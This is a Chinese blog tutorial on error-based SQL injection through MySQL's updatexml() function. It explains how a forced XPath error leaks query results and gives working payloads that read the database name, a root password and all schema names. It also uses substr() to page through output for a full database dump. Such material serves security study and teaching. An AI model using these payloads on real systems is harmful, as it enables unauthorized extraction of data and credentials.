SQL注入之错误注入_基于updatexml()的脱库原理

 「作者简介」:冬奥会网络安全中国代表队,CSDN Top100,就职奇安信多年,以实战工作为基础著作 《网络安全自学教程》,适合基础薄弱的同学系统化的学习网络安全,用最短的时间掌握最核心的技术。

updatexml() 常用来修改xml文件的内容

updatexml(参数1 , 参数2 , 参数3);

  • 参数1: 文件名 , 比如 a.xml
  • 参数2: 路径 , 比如 contry->city1 ( 不允许特殊字符 )
  • 参数3: 数值 , 比如 tianjing

 如果路径中存在特殊符号 比如'~',就会报错 , 同时后显示路径参数的内容

 路径参数的内容总会在错误提示中展示出来

 如果路径参数中包含函数 , 那么函数将会被执行 , 并将执行结果展示在报错内容中

select updatexml(1,concat('~',database()),3);

比如,查询当前使用的数据库

 此处的concat() , 可以将执行结果拼接一个'~'字符串 , 目的在于触发错误

 如果路径参数中包含SQL语句 , 同样会被执行 , 并将执行结果展示在报错内容中

select updatexml(1,concat('~',
(select password from user where username='root')
),3);

 基于此 , 可将SQL语句替换为其他语句 , 如获取所有数据库

select updatexml(1,
concat('~',(
select group_concat(schema_name) 
from information_schema.schemata
)),3);

 由于updatexml()返回的字符串长度最多为31个字符串 , 我们可以多次截取返回的字符串的不同位置,从而获取所有的数据库

select updatexml(1,concat('~',
substr(
(select group_concat(schema_name) 
from information_schema.schemata)
,1,31)
),3);

 从第1个字符开始 , 截取31个

 从第32个字符开始 , 截取31个

select updatexml(1,concat('~',
substr(
(select group_concat(schema_name) 
from information_schema.schemata)
,32,31)
),3);

 至此 , 已经获取了所有的数据库 , 通过此方法以此获取所有表 , 所有字段 , 实现脱库

  • 6
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

士别三日wyx

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值